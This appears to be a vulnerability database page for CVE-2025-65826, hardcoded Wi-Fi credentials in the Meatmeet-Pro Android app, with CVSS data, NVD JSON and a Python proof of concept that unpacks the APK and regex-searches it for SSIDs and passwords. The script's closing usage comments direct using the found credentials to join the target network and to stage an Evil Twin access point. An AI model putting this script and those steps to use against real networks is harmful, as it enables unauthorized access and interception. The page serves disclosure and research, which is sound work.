Security Vulnerability Report
中文
CVE-2025-65826 CVSS 9.8 CRITICAL

CVE-2025-65826

Published: 2025-12-10 21:16:08
Last Modified: 2025-12-30 19:14:23

Description

The mobile application was found to contain stored credentials for the network it was developed on. If an attacker retrieved this, and found the physical location of the Wi-Fi network, they could gain unauthorized access to the Wi-Fi network of the vendor. Additionally, if an attacker were located in close physical proximity to the device when it was first set up, they may be able to force the device to auto-connect to an attacker-controlled access point by setting the SSID and password to the same as which was found in the firmware file.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:meatmeet:meatmeet:1.1.2.0:*:*:*:pro:android:*:* - VULNERABLE
Meatmeet-Pro移动应用 所有已知版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-65826 PoC - Hardcoded Wi-Fi Credentials Extraction # Affected Product: Meatmeet-Pro Mobile Application import os import zipfile import re from pathlib import Path def extract_apk(apk_path, output_dir): """Extract APK contents for analysis""" with zipfile.ZipFile(apk_path, 'r') as zip_ref: zip_ref.extractall(output_dir) print(f"[+] APK extracted to {output_dir}") def search_hardcoded_credentials(extracted_dir): """Search for hardcoded Wi-Fi credentials in extracted files""" credentials = [] search_patterns = [ r'SSID[=:]\s*["\']([^\'"]+)["\']', r'ssid[=:]\s*["\']([^\'"]+)["\']', r'password[=:]\s*["\']([^\'"]+)["\']', r'pwd[=:]\s*["\']([^\'"]+)["\']', r'wifi[_-]?(ssid|key|pass|password)[=:]\s*["\']([^\'"]+)["\']', r'WIFI[_-]?(SSID|KEY|PASS|PASSWORD)[=:]\s*["\']([^\'"]+)["\']' ] for root, dirs, files in os.walk(extracted_dir): for file in files: if file.endswith(('.xml', '.txt', '.json', '.properties', '.conf', '.cfg')): filepath = os.path.join(root, file) try: with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: content = f.read() for pattern in search_patterns: matches = re.findall(pattern, content, re.IGNORECASE) if matches: credentials.extend(matches) except Exception as e: continue return list(set(credentials)) def main(): print("=" * 60) print("CVE-2025-65826 PoC - Hardcoded Wi-Fi Credentials Finder") print("Target: Meatmeet-Pro Mobile Application") print("=" * 60) # Configuration apk_path = "Meatmeet-Pro.apk" # Path to APK file output_dir = "extracted_apk" # Step 1: Extract APK if os.path.exists(apk_path): extract_apk(apk_path, output_dir) else: print("[-] APK file not found. Please provide path to Meatmeet-Pro APK") return # Step 2: Search for hardcoded credentials print("\n[+] Searching for hardcoded Wi-Fi credentials...") creds = search_hardcoded_credentials(output_dir) if creds: print("\n[!] Potential hardcoded credentials found:") for i, cred in enumerate(creds, 1): print(f" {i}. {cred}") print("\n[!] WARNING: These credentials may allow unauthorized network access") else: print("[-] No obvious credentials found. Try manual inspection of:") print(f" - {output_dir}/res/xml/") print(f" - {output_dir}/assets/") print(f" - {output_dir}/raw/") if __name__ == "__main__": main() # Usage: # 1. Obtain Meatmeet-Pro APK # 2. Run: python cve-2025-65826-poc.py # 3. Use extracted credentials to connect to target Wi-Fi network # 4. For Evil Twin attack, set up AP with matching SSID/password

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65826", "sourceIdentifier": "[email protected]", "published": "2025-12-10T21:16:08.360", "lastModified": "2025-12-30T19:14:23.113", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The mobile application was found to contain stored credentials for the network it was developed on. If an attacker retrieved this, and found the physical location of the Wi-Fi network, they could gain unauthorized access to the Wi-Fi network of the vendor. Additionally, if an attacker were located in close physical proximity to the device when it was first set up, they may be able to force the device to auto-connect to an attacker-controlled access point by setting the SSID and password to the same as which was found in the firmware file."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-312"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:meatmeet:meatmeet:1.1.2.0:*:*:*:pro:android:*:*", "matchCriteriaId": "5728B254-9D91-4EA1-9C7B-B4957DE1D77D"}]}]}], "references": [{"url": "https://gist.github.com/dead1nfluence/4dffc239b4a460f41a03345fd8e5feb5#file-hardcoded-credentials-mobile-md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://github.com/dead1nfluence/Meatmeet-Pro-Vulnerabilities/blob/main/Mobile-Application/Hardcoded-Credentials.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}